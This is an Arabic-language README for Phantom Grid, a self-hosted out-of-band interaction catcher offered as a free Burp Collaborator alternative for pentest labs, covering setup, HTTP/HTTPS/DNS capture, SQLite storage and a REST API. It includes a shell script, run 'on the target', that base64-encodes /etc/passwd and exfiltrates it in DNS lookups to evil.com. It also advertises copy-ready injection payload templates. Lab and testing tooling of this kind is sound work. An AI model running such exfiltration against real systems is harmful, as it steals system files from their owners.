
بديل مجاني لـ Burp Collaborator - التقاط التفاعلات خارج النطاق (HTTP/HTTPS/DNS) مع SQLite وإعادة تجميع البيانات المستخرجة
بديل مجاني ومفتوح المصدر لـ Burp Collaborator لمعامل اختبار الاختراق
التقاط التفاعلات خارج النطاق (OOB) · HTTP/HTTPS · DNS · SQLite · إعادة تجميع تسريب البيانات
Phantom Grid هي أداة استضافة ذاتية لالتقاط التفاعلات خارج النطاق (OOB) — بديل مجاني لـ Burp Collaborator لحل معامل اختبار الاختراق (PortSwigger Web Security Academy، HackTheBox، TryHackMe، إلخ).
| الميزة | الوصف |
|---|---|
| التقاط HTTP + HTTPS | مزدوج المكدس مع شهادات TLS ذاتية التوقيع تُنشأ تلقائيًا |
| التقاط DNS | خادم DNS مدمج على المنفذ 53 |
| إعادة تجميع تسريب DNS | إعادة تجميع تلقائية للأجزاء من تسريب DNS متعدد الأجزاء |
| استمرارية SQLite | جميع البيانات تبقى بعد إعادة تشغيل الخادم (وضع WAL للأداء) |
| أكثر من 40 قالب حمولة | SSRF، XXE، SQLi OOB، CMDi، SSTI، تسريب DNS — جاهزة للنسخ |
| لوحة تحكم تكتيكية | واجهة مركز قيادة مع مراقبة في الوقت الفعلي |
| جاهز لـ Docker | نشر بأمر واحد |
| REST API | واجهة برمجة كاملة لإدارة الرموز/التفاعلات/التسريب |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
غالبًا ما تحظر التطبيقات الحديثة طلبات المحتوى المختلط (http:// من صفحات https://). يشغّل Phantom Grid v2.0 بروتوكول HTTPS إلى جانب HTTP.
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
يعيد Phantom Grid تجميع بيانات تسريب DNS المجزأة تلقائيًا. هذا أمر بالغ الأهمية لاستخراج الحمولات الكبيرة التي يجب تقسيمها عبر عمليات بحث DNS متعددة (التسميات محدودة بـ 63 بايت).
| الصيغة | المثال | حالة الاستخدام |
|---|---|---|
| بسيطة | data.TOKEN.domain | تسريب قيمة واحدة |
| مفهرسة | 0.chunk1.TOKEN.domain | جلسة تلقائية، أجزاء مرتبة |
| موسومة | sess1.0.chunk1.TOKEN.domain | جلسة مسماة مع ترتيب |
| إشارة النهاية | end.sess1.TOKEN.domain | وضع علامة اكتمال الجلسة |
/etc/passwd عبر DNSعلى الهدف:
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
عرض البيانات المعاد تجميعها:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
الاستجابة:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
تُخزَّن جميع البيانات في phantom_grid.db باستخدام وضع SQLite WAL لأداء القراءة/الكتابة المتزامنة.
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
تبقى البيانات بعد إعادة تشغيل الخادم. احتفظ بنسخة احتياطية عن طريق نسخ phantom_grid.db.
| الطريقة | نقطة النهاية | الوصف |
|---|---|---|
GET | /api/tokens | عرض جميع الرموز مع الإحصائيات |
POST | /api/tokens | إنشاء رمز {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | تحديث تسمية/ملاحظات الرمز |
DELETE | /api/tokens/<id> | حذف الرمز + جميع البيانات (CASCADE) |
| الطريقة | نقطة النهاية | الوصف |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | الحصول على تفاعلات الرمز |
DELETE | /api/tokens/<id>/interactions | مسح التفاعلات |
GET | /api/log?limit= | السجل العام (جميع الرموز) |
GET | /api/poll?since=<ISO> | استقصاء التفاعلات الجديدة |
| الطريقة | نقطة النهاية | الوصف |
|---|---|---|
GET | /api/tokens/<id>/exfil | الحصول على جلسات التسريب مع البيانات المعاد تجميعها |
| الطريقة | نقطة النهاية | الوصف |
|---|---|---|
GET | /api/stats | الإحصائيات العامة (الأعداد، حجم قاعدة البيانات) |
GET | /health | فحص الحالة |
| البروتوكول | نقطة النهاية |
|---|---|
| HTTP | http://server:9090/c/<TOKEN> |
| HTTPS | https://server:9443/c/<TOKEN> |
| DNS | <TOKEN>.yourdomain.com |
| تسريب DNS | <data>.<TOKEN>.yourdomain.com |
python server.py [OPTIONS]